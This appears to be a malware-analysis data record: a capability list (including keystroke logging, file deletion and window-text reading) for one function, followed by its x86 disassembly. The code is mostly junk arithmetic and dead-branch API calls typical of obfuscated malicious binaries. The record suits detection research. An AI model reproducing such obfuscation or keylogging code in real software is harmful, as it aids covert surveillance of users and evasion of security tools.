Function at 0x46b01a
Capabilities:
Check os version
Create directory
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file size
Get file system object information
Get graphical window text
Identify system language via api
Log keystrokes via polling
Read .ini file
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3090
call fcn.00495c50
push esi
push edi
mov dword [ebp - 0x2e4], 0xa48bbca6
mov dword [ebp - 0x1f5c], 1
mov dword [ebp - 0x2b88], 0xfffffffa
mov dword [ebp - 0x920], 0
jmp 0x46b060
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 4
jge 0x46b07c
mov eax, dword [ebp - 0x920]
mov dword [ebp + eax*4 - 0x2d24], 0xe62699ff
jmp 0x46b053
mov dword [ebp - 0x2e4], 0xfffffff3
jmp 0x46b095
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 6
jl 0x46b38e
mov dword [ebp - 0x958], 0xffffffff
mov dword [ebp - 0x20c], 0
jmp 0x46b0c5
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jge 0x46b0e1
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x2174], 0xffffffff
jmp 0x46b0b8
mov dword [ebp - 0x20c], 0
jmp 0x46b0fa
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x46b116
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x1f54], 0x3ed2
jmp 0x46b0ed
mov byte [ebp - 0x2ac], 0
movzx eax, byte [ebp - 0x2ac]
test eax, eax
je 0x46b12e
call dword [sym.imp.USER32.dll_GetMessageTime]
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x2174]
cmp dword [ebp + eax - 0x2174], ecx
jl 0x46b2f8
mov dword [ebp - 0xd64], 0x412894f
mov dword [ebp - 0xa84], 0x814b11f3
mov dword [ebp - 0xd64], 1
mov eax, dword [ebp - 0xa84]
cmp dword [ebp - 0xd64], eax
jle 0x46b185
mov dword [ebp - 0x1afc], 1
jmp 0x46b18c
and dword [ebp - 0x1afc], 0
cmp dword [ebp - 0x1afc], 1
jne 0x46b1a1
mov dword [ebp - 0x1b04], 1
jmp 0x46b1a8
and dword [ebp - 0x1b04], 0
mov eax, dword [ebp - 0x2e4]
imul eax, dword [ebp - 0x1b04]
cmp eax, 0xffff
ja 0x46b1c8
mov dword [ebp - 0x1b24], 1
jmp 0x46b1cf
and dword [ebp - 0x1b24], 0
mov eax, dword [ebp - 0xa84]
cmp dword [ebp - 0x1b24], eax
je 0x46b1e9
mov dword [ebp - 0x1b2c], 1
jmp 0x46b1f0
and dword [ebp - 0x1b2c], 0
mov eax, dword [ebp - 0x2e4]
sub eax, dword [ebp - 0x1b2c]
imul eax, dword [ebp - 0x958]
add eax, 0x11b300eb
sub eax, dword [ebp - 0x2e4]
je 0x46b225
cmp dword [ebp - 0x958], 0
je 0x46b225
mov dword [ebp - 0x1b34], 1
jmp 0x46b22c
and dword [ebp - 0x1b34], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x1b34], 0xdbca
cmp dword [ebp + eax - 0x2174], ecx
jge 0x46b251
mov dword [ebp - 0x1b3c], 1
jmp 0x46b258
and dword [ebp - 0x1b3c], 0
imul eax, dword [ebp - 0x1b3c], 0xbf3b
cmp eax, dword [ebp - 0x958]
jne 0x46b276
mov dword [ebp - 0x1d0c], 1
jmp 0x46b27d
and dword [ebp - 0x1d0c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2174]
mov dword [ebp - 0x262c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f54], 0xfffc
jbe 0x46b2b5
cmp dword [ebp - 0x1f5c], 0
jne 0x46b2b5
and dword [ebp - 0x1b44], 0
jmp 0x46b2bf
mov dword [ebp - 0x1b44], 1
mov eax, dword [ebp - 0xa84]
cmp dword [ebp - 0x1b44], eax
jg 0x46b2d9
mov dword [ebp - 0x1b4c], 1
jmp 0x46b2e0
and dword [ebp - 0x1b4c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4c]
mov dword [ebp + eax - 0x2174], ecx
jmp 0x46b389
mov dword [ebp - 0x548], 0xfffffff8
mov dword [ebp - 0x814], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d24]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2d24], eax
mov dword [ebp - 0x548], 0
jmp 0x46b340
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0xe
jg 0x46b389
mov dword [ebp - 0x814], 0
jmp 0x46b362
mov eax, dword [ebp - 0x814]
inc eax
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 2
jg 0x46b387
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x46b385
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x46b355
jmp 0x46b333
jmp 0x46b088
mov byte [ebp - 0x2a7], 0
movzx eax, byte [ebp - 0x2a7]
test eax, eax
je 0x46b3a8
push 0x68
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xe8], 0xffffffff
mov dword [ebp - 0x13c], 3
mov dword [ebp - 0x1f6c], 0x68dd2ac3
mov dword [ebp - 0x550], 0
jmp 0x46b3df
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 4
jge 0x46b3fb
mov eax, dword [ebp - 0x550]
mov dword [ebp + eax*4 - 0x2e68], 0xffff
jmp 0x46b3d2
mov dword [ebp - 0xe8], 0
jmp 0x46b414
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xfffffffa
jle 0x46b484
mov dword [ebp - 0x8a4], 0
jmp 0x46b436
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 4
jge 0x46b452
mov eax, dword [ebp - 0x8a4]
mov dword [ebp + eax*4 - 0x2e50], 0x7ca0029b
jmp 0x46b429
mov byte [ebp - 0x2a9], 0
movzx eax, byte [ebp - 0x2a9]
test eax, eax
je 0x46b470
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2e50], 0
je 0x46b482
jmp 0x46b484
jmp 0x46b407
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jne 0x46b572
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2634], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x263c], eax
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x13c], eax
jge 0x46b4cf
mov dword [ebp - 0x1b54], 1
jmp 0x46b4d6
and dword [ebp - 0x1b54], 0
cmp dword [ebp - 0x1b54], 1
jne 0x46b4f1
cmp dword [ebp - 0x13c], 0
jne 0x46b4f1
and dword [ebp - 0x1b5c], 0
jmp 0x46b4fb
mov dword [ebp - 0x1b5c], 1
cmp dword [ebp - 0x1b5c], 1
jbe 0x46b510
mov dword [ebp - 0x1b64], 1
jmp 0x46b517
and dword [ebp - 0x1b64], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x1b64], eax
jle 0x46b531
mov dword [ebp - 0x1b6c], 1
jmp 0x46b538
and dword [ebp - 0x1b6c], 0
cmp dword [ebp - 0x1b6c], 0x6e3e
jle 0x46b550
mov dword [ebp - 0x1b74], 1
jmp 0x46b557
and dword [ebp - 0x1b74], 0
cmp dword [ebp - 0x1b74], 1
jae 0x46b569
cmp dword [ebp - 0xe8], 0
jne 0x46b572
and dword [ebp - 0x1b7c], 0
jmp 0x46b57c
mov dword [ebp - 0x1b7c], 1
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x1b7c], eax
je 0x46b596
mov dword [ebp - 0x1b84], 1
jmp 0x46b59d
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x1b84], eax
je 0x46b5b7
mov dword [ebp - 0x1b8c], 1
jmp 0x46b5be
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x13c]
add eax, dword [ebp - 0x1b8c]
cmp eax, 0xe83
jl 0x46b5dd
mov dword [ebp - 0x1f64], 1
jmp 0x46b5e4
and dword [ebp - 0x1f64], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2644], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x264c], eax
mov eax, 0xe95a
cmp eax, 0x3288
jg 0x46b614
mov dword [ebp - 0x1bd0], 1
jmp 0x46b61b
and dword [ebp - 0x1bd0], 0
imul eax, dword [ebp - 0x1bd0], 5
test eax, eax
jne 0x46b633
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2e68], 0
push 6
pop eax
test eax, eax
jne 0x46b64c
mov eax, 0xaec51ac
test eax, eax
jne 0x46b64c
and dword [ebp - 0x1bd8], 0
jmp 0x46b656
mov dword [ebp - 0x1bd8], 1
mov eax, dword [ebp - 0x1bd8]
mov dword [ebp - 0x1f6c], eax
mov dword [ebp - 0x2fc], 0xa48bbca6
mov dword [ebp - 0x2654], 1
mov dword [ebp - 0x265c], 1
mov dword [ebp - 0x2664], 4
mov dword [ebp - 0x266c], 0xbb6748f6
mov dword [ebp - 0x2674], 0x814b733c
mov dword [ebp - 0x267c], 0x46b6eb6
mov dword [ebp - 0x1be0], 0xb49d
mov dword [ebp - 0x2684], 0
mov dword [ebp - 0x558], 0
jmp 0x46b6d5
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 1
jge 0x46b6f1
mov eax, dword [ebp - 0x558]
mov dword [ebp + eax*4 - 0x268c], 0xfffffffc
jmp 0x46b6c8
mov eax, dword [ebp - 0x1be0]
dec eax
mov dword [ebp - 0x1be0], eax
mov dword [ebp - 0x21ec], 1
mov dword [ebp - 0x2694], 0xfffffffa
mov dword [ebp - 0x81c], 0xc29000d4
mov dword [ebp - 0x269c], 0xfffffffe
mov dword [ebp - 0x26a4], 0
mov dword [ebp - 0x26ac], 1
mov dword [ebp - 0x26b4], 1
mov dword [ebp - 0x1ec], 0
jmp 0x46b75d
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x46b779
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x2e28], 0x13b91020
jmp 0x46b750
mov dword [ebp - 0x1ec], 0
jmp 0x46b792
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x46b7ae
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x300c], 0x4dbf0cf
jmp 0x46b785
mov dword [ebp - 0x81c], 0
jmp 0x46b7c7
mov eax, dword [ebp - 0x81c]
inc eax
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 1
jg 0x46b8e1
mov dword [ebp - 0x90c], 0x62751c76
mov dword [ebp - 0x26bc], 0
mov dword [ebp - 0x26c4], 0xfffffffb
mov dword [ebp - 0x26cc], 0x65cd3860
mov dword [ebp - 0x26d4], 0
mov dword [ebp - 0x1be8], 0x91b0
mov dword [ebp - 0x560], 0
jmp 0x46b829
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 3
jge 0x46b845
mov eax, dword [ebp - 0x560]
mov dword [ebp + eax*4 - 0x2ff4], 0
jmp 0x46b81c
mov dword [ebp - 0x90c], 1
jmp 0x46b85e
mov eax, dword [ebp - 0x90c]
dec eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0
jl 0x46b8dc
mov dword [ebp - 0x26dc], 0xab59
mov dword [ebp - 0x26e4], 0x2a82a10a
mov dword [ebp - 0x568], 0
jmp 0x46b894
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 2
jge 0x46b8b0
mov eax, dword [ebp - 0x568]
mov dword [ebp + eax*4 - 0x2f18], 0x4c38b6b0
jmp 0x46b887
mov eax, dword [ebp - 0x1be8]
inc eax
mov dword [ebp - 0x1be8], eax
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x46b8d7
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
jmp 0x46b851
jmp 0x46b7ba
mov dword [ebp - 0x234], 0xfffffff8
mov dword [ebp - 0x1f74], 0xab274bf9
mov dword [ebp - 0x1f84], 0x86bd085
mov dword [ebp - 0x26ec], 1
mov dword [ebp - 0x26f4], 0x1a35
mov dword [ebp - 0x26fc], 0x2a26f3f1
mov dword [ebp - 0x2704], 0x41637c1d
mov dword [ebp - 0x270c], 0xd70512a3
mov dword [ebp - 0x1f7c], 0xfffffffb
mov dword [ebp - 0x1c00], 0
mov dword [ebp - 0x824], 0
jmp 0x46b95e
mov eax, dword [ebp - 0x824]
inc eax
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x824], 2
jge 0x46b97a
mov eax, dword [ebp - 0x824]
mov dword [ebp + eax*4 - 0x27c0], 0xbc0d133f
jmp 0x46b951
mov dword [ebp - 0x234], 0x14
jmp 0x46b993
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffe2
jle 0x46ba58
mov dword [ebp - 0x2714], 0x3250e6da
mov dword [ebp - 0x271c], 0
mov dword [ebp - 0x2724], 0x50315362
mov dword [ebp - 0x272c], 1
mov dword [ebp - 0x2734], 0x32a17d0b
mov dword [ebp - 0x273c], 0xba13b288
mov dword [ebp - 0x144], 0
jmp 0x46b9f5
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x46ba11
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2ed0], 1
jmp 0x46b9e8
mov dword [ebp - 0x144], 0
jmp 0x46ba2a
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 4
jge 0x46ba46
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x3040], 0xc4a87fce
jmp 0x46ba1d
mov eax, dword [ebp - 0x1c00]
dec eax
mov dword [ebp - 0x1c00], eax
jmp 0x46b986
mov dword [ebp - 0x234], 0xfffffff3
jmp 0x46ba71
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffe6
jne 0x46bb7c
mov dword [ebp - 0x19b4], 0x426ae69e
mov dword [ebp - 0x19bc], 0xffffffff
mov dword [ebp - 0x1f8c], 0xfffffff7
cmp dword [ebp - 0x1f74], 0
je 0x46baaa
jmp 0x46bb7c
cmp dword [ebp - 0x19b4], 0
jne 0x46baf2
mov eax, dword [ebp - 0x1f7c]
cmp dword [ebp - 0x19b4], eax
je 0x46bacd
mov dword [ebp - 0xb5c], 1
jmp 0x46bad4
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0x19bc], eax
cmp dword [ebp - 0x19bc], 0
jne 0x46baf2
and dword [ebp - 0xb64], 0
jmp 0x46bafc
mov dword [ebp - 0xb64], 1
mov eax, dword [ebp - 0xb64]
sub eax, 0xfc53
imul eax, eax, 5
cmp eax, 0xffffffff
jg 0x46bb1b
mov dword [ebp - 0x19c4], 1
jmp 0x46bb22
and dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x1f84]
cmp eax, dword [ebp - 0x19c4]
jge 0x46bb3c
mov dword [ebp - 0xb6c], 1
jmp 0x46bb43
and dword [ebp - 0xb6c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x27c0]
cmp dword [ebp - 0xb6c], eax
jl 0x46bb64
mov dword [ebp - 0x19cc], 1
jmp 0x46bb6b
and dword [ebp - 0x19cc], 0
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x1f8c], eax
jmp 0x46ba64
mov dword [ebp - 0x570], 0
jmp 0x46bb95
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 4
jge 0x46bbb1
mov eax, dword [ebp - 0x570]
mov dword [ebp + eax*4 - 0x2d64], 0xe62699ff
jmp 0x46bb88
mov dword [ebp - 0x2744], 1
mov dword [ebp - 0x274c], 1
mov dword [ebp - 0x2754], 4
mov dword [ebp - 0x275c], 0xbb6748f6
mov dword [ebp - 0x2764], 0x814b733c
mov dword [ebp - 0x276c], 0x46b6eb6
mov dword [ebp - 0xb74], 0xb49d
mov dword [ebp - 0x2774], 0
mov dword [ebp - 0x8ac], 0
jmp 0x46bc1a
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 1
jge 0x46bc36
mov eax, dword [ebp - 0x8ac]
mov dword [ebp + eax*4 - 0x277c], 0xfffffffc
jmp 0x46bc0d
mov eax, dword [ebp - 0xb74]
dec eax
mov dword [ebp - 0xb74], eax
mov dword [ebp - 0x2fc], 0xfffffff3
jmp 0x46bc5c
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 6
jl 0x46ee2f
mov dword [ebp - 0x128], 0xe0648261
mov dword [ebp - 0xa8c], 0x87a5eafb
mov dword [ebp - 0xb9c], 0xffffffff
mov dword [ebp - 0x1a04], 0xfefb659b
mov dword [ebp - 0x578], 0
jmp 0x46bcaa
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 1
jge 0x46bcc6
mov eax, dword [ebp - 0x578]
mov dword [ebp + eax*4 - 0xb08], 0x5e04a276
jmp 0x46bc9d
mov dword [ebp - 0x128], 0xffffffeb
jmp 0x46bcdf
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xfffffff2
jle 0x46bfda
mov dword [ebp - 0x22c], 0xffffffff
mov dword [ebp - 0x1f94], 0xffffffff
mov dword [ebp - 0x40c], 0x99da9727
mov eax, dword [ebp - 0xa8c]
sub eax, dword [ebp - 0x22c]
cmp eax, 0xa14c
jle 0x46bd29
mov dword [ebp - 0x19d4], 1
jmp 0x46bd30
and dword [ebp - 0x19d4], 0
cmp dword [ebp - 0x19d4], 0
jge 0x46bd45
mov dword [ebp - 0xb7c], 1
jmp 0x46bd4c
and dword [ebp - 0xb7c], 0
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [ebp - 0xb7c]
lea eax, [ecx + eax + 4]
test eax, eax
je 0x46bd75
cmp dword [ebp - 0xa8c], 0
je 0x46bd75
mov dword [ebp - 0x19dc], 1
jmp 0x46bd7c
and dword [ebp - 0x19dc], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x19dc], eax
jle 0x46bd96
mov dword [ebp - 0xb84], 1
jmp 0x46bd9d
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xa8c]
imul eax, dword [ebp - 0xb84]
cmp eax, dword [ebp - 0x40c]
jne 0x46bdbe
mov dword [ebp - 0x1f9c], 1
jmp 0x46bdc5
and dword [ebp - 0x1f9c], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x40c], eax
jle 0x46bddf
mov dword [ebp - 0x19e4], 1
jmp 0x46bde6
and dword [ebp - 0x19e4], 0
cmp dword [ebp - 0x19e4], 4
jg 0x46bdfb
mov dword [ebp - 0xb8c], 1
jmp 0x46be02
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0xb8c], eax
jl 0x46be1c
mov dword [ebp - 0x19ec], 1
jmp 0x46be23
and dword [ebp - 0x19ec], 0
mov eax, dword [ebp - 0x19ec]
inc eax
cmp dword [ebp - 0x22c], eax
jl 0x46be3e
mov dword [ebp - 0xb94], 1
jmp 0x46be45
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0xb94], eax
jge 0x46be68
cmp dword [ebp - 0x40c], 0
je 0x46be68
mov dword [ebp - 0x19f4], 1
jmp 0x46be6f
and dword [ebp - 0x19f4], 0
mov eax, dword [ebp - 0x19f4]
mov dword [ebp - 0xb9c], eax
cmp dword [ebp - 0xb9c], 0
jne 0x46be96
cmp dword [ebp - 0x22c], 0
jne 0x46be96
and dword [ebp - 0xa94], 0
jmp 0x46bea0
mov dword [ebp - 0xa94], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa94]
mov dword [ebp + eax - 0xb08], ecx
or eax, 0xffffffff
sub eax, dword [ebp - 0xa94]
mov dword [ebp - 0x40c], eax
je 0x46bee0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb08], 0
je 0x46bee0
mov dword [ebp - 0x19fc], 1
jmp 0x46bee7
and dword [ebp - 0x19fc], 0
mov eax, dword [ebp - 0x19fc]
mov dword [ebp - 0x1a04], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb08], 0
je 0x46bf4e
mov byte [ebp - 0x2ad], 0
movzx eax, byte [ebp - 0x2ad]
test eax, eax
je 0x46bf49
push 0
push 0xd2d
push 0x2052
push 0x167b
push 0x21e2
push 0x1e8a
push 0xf5e
push 0xac9
push 0x1cde
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
jmp 0x46bfd5
mov dword [ebp - 0x22c], 0
jmp 0x46bf67
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 7
jg 0x46bfd5
mov dword [ebp - 0x82c], 0
jmp 0x46bf89
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 4
jge 0x46bfa5
mov eax, dword [ebp - 0x82c]
mov dword [ebp + eax*4 - 0x2e80], 0
jmp 0x46bf7c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2e80], 0xffffffff
jge 0x46bfc0
mov dword [ebp - 0xba4], 1
jmp 0x46bfc7
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0xba4]
mov dword [ebp - 0x40c], eax
jmp 0x46bf5a
jmp 0x46bcd2
mov dword [ebp - 0x128], 0x13
jmp 0x46bff3
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x13
jge 0x46c02c
cmp dword [ebp - 0x1a04], 0
je 0x46c007
jmp 0x46c02c
mov byte [ebp - 0x2af], 0
movzx eax, byte [ebp - 0x2af]
test eax, eax
je 0x46c02a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
jmp 0x46bfe6
mov dword [ebp - 0x2784], 0xfffffff6
mov dword [ebp - 0x14c], 0
jmp 0x46c04f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 2
jge 0x46c06b
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0xb18], 1
jmp 0x46c042
mov dword [ebp - 0x14c], 0
jmp 0x46c084
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jge 0x46c0a0
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0xb10], 0x3c633843
jmp 0x46c077
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb18]
mov dword [ebp - 0xbac], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbac]
mov dword [ebp + eax - 0xb10], ecx
cmp dword [ebp - 0xbac], 0
je 0x46c196
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb18], 0
je 0x46c0ff
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb18], 0
je 0x46c0ff
mov dword [ebp - 0x1a0c], 1
jmp 0x46c106
and dword [ebp - 0x1a0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp dword [ebp - 0x1a0c], eax
jge 0x46c127
mov dword [ebp - 0xbb4], 1
jmp 0x46c12e
and dword [ebp - 0xbb4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp eax, dword [ebp - 0xbb4]
je 0x46c14f
mov dword [ebp - 0x1fa4], 1
jmp 0x46c156
and dword [ebp - 0x1fa4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb18]
mov dword [ebp - 0x278c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb18]
mov dword [ebp - 0x2794], eax
or eax, 0xffffffff
jne 0x46c18a
mov eax, 0x1747
test eax, eax
je 0x46c196
mov dword [ebp - 0x1fac], 1
jmp 0x46c19d
and dword [ebp - 0x1fac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb18]
mov dword [ebp - 0x279c], eax
mov eax, 0x52065c82
test eax, eax
je 0x46c1c2
mov eax, 0xfc520ea0
test eax, eax
je 0x46c209
mov dword [ebp - 0x580], 0xfffffffb
mov dword [ebp - 0x580], 0x10
jmp 0x46c1e5
mov eax, dword [ebp - 0x580]
dec eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0xfffffff1
jl 0x46c207
mov dword [ebp - 0x1a14], 0xcad
mov eax, dword [ebp - 0x1a14]
inc eax
mov dword [ebp - 0x1a14], eax
jmp 0x46c1d8
jmp 0x46c246
mov dword [ebp - 0xbbc], 0x2e889ec0
mov eax, dword [ebp - 0xbbc]
dec eax
mov dword [ebp - 0xbbc], eax
mov byte [ebp - 0x2b1], 0
movzx eax, byte [ebp - 0x2b1]
test eax, eax
je 0x46c246
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov byte [ebp - 0x2b3], 0
movzx eax, byte [ebp - 0x2b3]
test eax, eax
je 0x46c262
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x97c], 0xffffffff
mov dword [ebp - 0x1a3c], 0
mov dword [ebp - 0x1a1c], 0x6a08376f
mov dword [ebp - 0x1a2c], 0xffffffff
mov dword [ebp - 0xbd4], 0xfffffff6
mov dword [ebp - 0x1fc4], 0x3d88101a
mov dword [ebp - 0xafc], 0xfffffffd
mov dword [ebp - 0x8ec], 0
jmp 0x46c2c1
mov eax, dword [ebp - 0x8ec]
inc eax
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 1
jge 0x46c2dd
mov eax, dword [ebp - 0x8ec]
mov dword [ebp + eax*4 - 0xac], 0xf6af1124
jmp 0x46c2b4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xac], 0xffffffe2
jmp 0x46c30b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xac], 0xffffffff
jne 0x46c54b
mov dword [ebp - 0x2ec], 0x3d4e
mov dword [ebp - 0x1fcc], 0xadf890ba
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x27a4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xac]
mov dword [ebp - 0x27ac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xac]
imul eax, dword [ebp - 0x2ec]
test eax, eax
jne 0x46c371
cmp dword [ebp - 0x2ec], 0
cmp dword [ebp - 0x1a1c], 0x6c0b333e
jl 0x46c389
mov dword [ebp - 0x1fb4], 1
jmp 0x46c390
and dword [ebp - 0x1fb4], 0
or eax, 0xffffffff
cmp eax, 0x79e5
je 0x46c3a6
mov dword [ebp - 0xbc4], 1
jmp 0x46c3ad
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0x1a1c]
imul eax, dword [ebp - 0xbc4]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xac]
cmp eax, dword [ebp - 0x2ec]
jg 0x46c3dc
mov dword [ebp - 0x1a24], 1
jmp 0x46c3e3
and dword [ebp - 0x1a24], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x1a24], eax
jne 0x46c3fd
mov dword [ebp - 0xbcc], 1
jmp 0x46c404
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbcc]
mov dword [ebp - 0x1a2c], eax
mov eax, dword [ebp - 0x1a2c]
mov dword [ebp - 0xbd4], eax
cmp dword [ebp - 0xbd4], 0
jne 0x46c437
mov eax, 0x6d8f
test eax, eax
jne 0x46c437
and dword [ebp - 0x1fbc], 0
jmp 0x46c441
mov dword [ebp - 0x1fbc], 1
